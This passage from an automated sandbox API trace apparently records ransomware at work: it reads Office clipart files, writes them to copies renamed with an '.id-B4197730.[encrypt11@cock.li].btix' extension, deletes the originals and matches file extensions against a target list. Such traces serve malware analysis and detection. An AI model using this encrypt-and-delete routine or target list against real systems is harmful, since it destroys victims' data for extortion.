[0055.928] CloseHandle (hObject=0x2d8) returned 1 [0055.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0055.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0055.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0055.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0055.929] lstrlenW (lpString=".doc") returned 4 [0055.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.929] lstrlenW (lpString=".docx") returned 5 [0055.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.929] lstrlenW (lpString=".pdf") returned 4 [0055.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.929] lstrlenW (lpString=".xls") returned 4 [0055.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.929] lstrlenW (lpString=".xlsx") returned 5 [0055.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.929] lstrlenW (lpString=".ppt") returned 4 [0055.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0055.929] lstrlenW (lpString=".zip") returned 4 [0055.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.929] lstrlenW (lpString=".rar") returned 4 [0055.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.929] lstrlenW (lpString=".bz2") returned 4 [0055.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.929] lstrlenW (lpString=".7z") returned 3 [0055.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0055.929] lstrlenW (lpString=".dbf") returned 4 [0055.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0055.930] lstrlenW (lpString=".1cd") returned 4 [0055.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0055.930] lstrlenW (lpString=".jpg") returned 4 [0055.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0055.930] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=24778) returned 1 [0055.930] CloseHandle (hObject=0x2d8) returned 1 [0055.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0055.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0055.930] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.931] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0055.931] GetLastError () returned 0x0 [0055.931] ReadFile (in: hFile=0x2d8, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x60ca, lpOverlapped=0x0) returned 1 [0055.949] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0055.950] ReadFile (in: hFile=0x2d8, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.950] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0055.950] SetEndOfFile (hFile=0x36c) returned 1 [0055.951] CloseHandle (hObject=0x36c) returned 1 [0055.952] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.952] SetEndOfFile (hFile=0x2d8) returned 1 [0055.953] CloseHandle (hObject=0x2d8) returned 1 [0055.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0055.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0055.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0055.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0055.953] lstrlenW (lpString=".doc") returned 4 [0055.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.953] lstrlenW (lpString=".docx") returned 5 [0055.953] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.953] lstrlenW (lpString=".pdf") returned 4 [0055.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.954] lstrlenW (lpString=".xls") returned 4 [0055.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.954] lstrlenW (lpString=".xlsx") returned 5 [0055.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.954] lstrlenW (lpString=".ppt") returned 4 [0055.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0055.954] lstrlenW (lpString=".zip") returned 4 [0055.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.954] lstrlenW (lpString=".rar") returned 4 [0055.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.954] lstrlenW (lpString=".bz2") returned 4 [0055.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.954] lstrlenW (lpString=".7z") returned 3 [0055.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0055.954] lstrlenW (lpString=".dbf") returned 4 [0055.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0055.954] lstrlenW (lpString=".1cd") returned 4 [0055.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0055.954] lstrlenW (lpString=".jpg") returned 4 [0055.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.964] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=47786) returned 1 [0055.964] CloseHandle (hObject=0x328) returned 1 [0055.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0055.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.964] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.964] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.967] GetLastError () returned 0x0 [0055.967] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0056.015] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xbab0, lpOverlapped=0x0) returned 1 [0056.017] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.017] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0056.017] SetEndOfFile (hFile=0x308) returned 1 [0056.017] CloseHandle (hObject=0x308) returned 1 [0056.018] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.018] SetEndOfFile (hFile=0x328) returned 1 [0056.019] CloseHandle (hObject=0x328) returned 1 [0056.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0056.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0056.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0056.020] lstrlenW (lpString=".doc") returned 4 [0056.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.020] lstrlenW (lpString=".docx") returned 5 [0056.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.020] lstrlenW (lpString=".pdf") returned 4 [0056.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.020] lstrlenW (lpString=".xls") returned 4 [0056.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.020] lstrlenW (lpString=".xlsx") returned 5 [0056.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.020] lstrlenW (lpString=".ppt") returned 4 [0056.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0056.020] lstrlenW (lpString=".zip") returned 4 [0056.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.020] lstrlenW (lpString=".rar") returned 4 [0056.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.020] lstrlenW (lpString=".bz2") returned 4 [0056.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.021] lstrlenW (lpString=".7z") returned 3 [0056.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0056.021] lstrlenW (lpString=".dbf") returned 4 [0056.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0056.021] lstrlenW (lpString=".1cd") returned 4 [0056.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0056.021] lstrlenW (lpString=".jpg") returned 4 [0056.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0056.021] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=7966) returned 1 [0056.021] CloseHandle (hObject=0x328) returned 1 [0056.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0056.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0056.021] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.022] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.022] GetLastError () returned 0x0 [0056.022] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0056.059] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0056.725] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.725] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0056.726] SetEndOfFile (hFile=0x308) returned 1 [0056.726] CloseHandle (hObject=0x308) returned 1 [0056.726] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.726] SetEndOfFile (hFile=0x328) returned 1 [0056.727] CloseHandle (hObject=0x328) returned 1 [0056.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0056.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0056.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0056.728] lstrlenW (lpString=".doc") returned 4 [0056.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.728] lstrlenW (lpString=".docx") returned 5 [0056.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.728] lstrlenW (lpString=".pdf") returned 4 [0056.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.728] lstrlenW (lpString=".xls") returned 4 [0056.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.728] lstrlenW (lpString=".xlsx") returned 5 [0056.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.728] lstrlenW (lpString=".ppt") returned 4 [0056.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0056.728] lstrlenW (lpString=".zip") returned 4 [0056.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.728] lstrlenW (lpString=".rar") returned 4 [0056.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.728] lstrlenW (lpString=".bz2") returned 4 [0056.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.728] lstrlenW (lpString=".7z") returned 3 [0056.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0056.728] lstrlenW (lpString=".dbf") returned 4 [0056.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0056.728] lstrlenW (lpString=".1cd") returned 4 [0056.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0056.728] lstrlenW (lpString=".jpg") returned 4 [0056.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.729] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.729] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.732] GetLastError () returned 0x0 [0056.732] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x2b32, lpOverlapped=0x0) returned 1 [0056.840] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x2b40, lpOverlapped=0x0) returned 1 [0056.841] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.841] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0056.841] SetEndOfFile (hFile=0x308) returned 1 [0056.841] CloseHandle (hObject=0x308) returned 1 [0056.841] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.842] SetEndOfFile (hFile=0x328) returned 1 [0056.842] CloseHandle (hObject=0x328) returned 1 [0056.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0056.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.843] lstrlenW (lpString=".doc") returned 4 [0056.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.843] lstrlenW (lpString=".docx") returned 5 [0056.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.843] lstrlenW (lpString=".pdf") returned 4 [0056.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.843] lstrlenW (lpString=".xls") returned 4 [0056.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.843] lstrlenW (lpString=".xlsx") returned 5 [0056.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.843] lstrlenW (lpString=".ppt") returned 4 [0056.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.843] lstrlenW (lpString=".zip") returned 4 [0056.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.843] lstrlenW (lpString=".rar") returned 4 [0056.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.843] lstrlenW (lpString=".bz2") returned 4 [0056.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.843] lstrlenW (lpString=".7z") returned 3 [0056.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.844] lstrlenW (lpString=".dbf") returned 4 [0056.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.844] lstrlenW (lpString=".1cd") returned 4 [0056.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.844] lstrlenW (lpString=".jpg") returned 4 [0056.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0056.844] lstrlenW 